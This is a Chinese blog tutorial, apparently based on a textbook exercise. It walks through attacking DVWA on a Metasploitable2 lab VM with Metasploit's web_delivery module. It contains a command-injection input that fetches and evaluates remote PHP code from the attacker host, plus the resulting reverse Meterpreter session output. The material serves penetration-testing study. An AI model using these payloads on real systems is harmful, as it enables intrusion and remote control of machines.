900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > 使用Kali Linux Metasploit 对WEB应用进行攻击 以DVWA为例

使用Kali Linux Metasploit 对WEB应用进行攻击 以DVWA为例

时间:2018-12-11 08:52:59

相关推荐

使用Kali Linux Metasploit 对WEB应用进行攻击 以DVWA为例

目录

说明环境准备步骤确认攻击机所在网络信息确认所在网络存活主机信息网页访问DVWA打开Command Execution 打开Metasploit使用web_delivery模块运行 控制

说明

按照《Kali Linux2 网络渗透测试实践指南 第二版 》第七章操作

仅供学习讨论使用,请勿进行非法操作

环境准备

“邪灵工作室“公众号”下载作者提供的 Metasploitable2 虚拟机

到kali 官网下载对应虚拟机并完成安装

上述虚拟机在VM Ware中打开

步骤

确认攻击机所在网络信息

ifconfig

可以看出本机ip地址为 192.168.229.133

确认所在网络存活主机信息

nmap 192.168.229.0/24

可以看出 192.168.229.134存活,也就是Metasploitable2 虚拟机

网页访问DVWA

Metasploitable2 虚拟机预装了DVWA,直接在kali 攻击机,浏览器地址输入 192.168.229.134

用户名admin, 密码password

把security安全等级设为low

打开Command Execution

打开Metasploit

msfconsole

使用web_delivery模块

search web_delivery

使用第2个,ID 为1 的exploit模块

msf6 > use 1

可以看到不止一种语言支持,所以切换到PHP的对应攻击环境下 (DVWA基于PHP实现)

msf6 exploit(multi/script/web_delivery) > set target 1target => 1msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcppayload => php/meterpreter/reverse_tcpmsf6 exploit(multi/script/web_delivery) > set LHOST 192.168.229.133LHOST => 192.168.229.133

运行

提示告诉我们需要在目标网页上输入

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.229.133:8080/s1JewPn81KZ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

但是实际运行后却报错,根据错误修改上述参数如下,可以成功

图中红色实际为之前报错留下的,不影响,这时候切回Kali

127.0.0.1 | php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.229.133:8080/s1JewPn81KZ'));"

控制

在浏览器旋转的时候,回到Kali主机内可以看到木马传送到DVWA所在机器使用sessions指令获取当前建立的session信息,从而进入控制,sysinfo获取DVWA所在主机信息

msf6 exploit(multi/script/web_delivery) > sessionsActive sessions===============Id Name Type InformationConnection-- ---- ---- ---------------------1 meterpreter php/linux www-data @ metasploitable 192.168.229.133:4444 -> 192.168.229.134:48700 (192.168.229.134)msf6 exploit(multi/script/web_delivery) > getuid[-] Unknown command: getuidmsf6 exploit(multi/script/web_delivery) > sessions -i 1[*] Starting interaction with 1...meterpreter > sysinfoComputer : metasploitableOS: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC i686Meterpreter : php/linux

结束!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。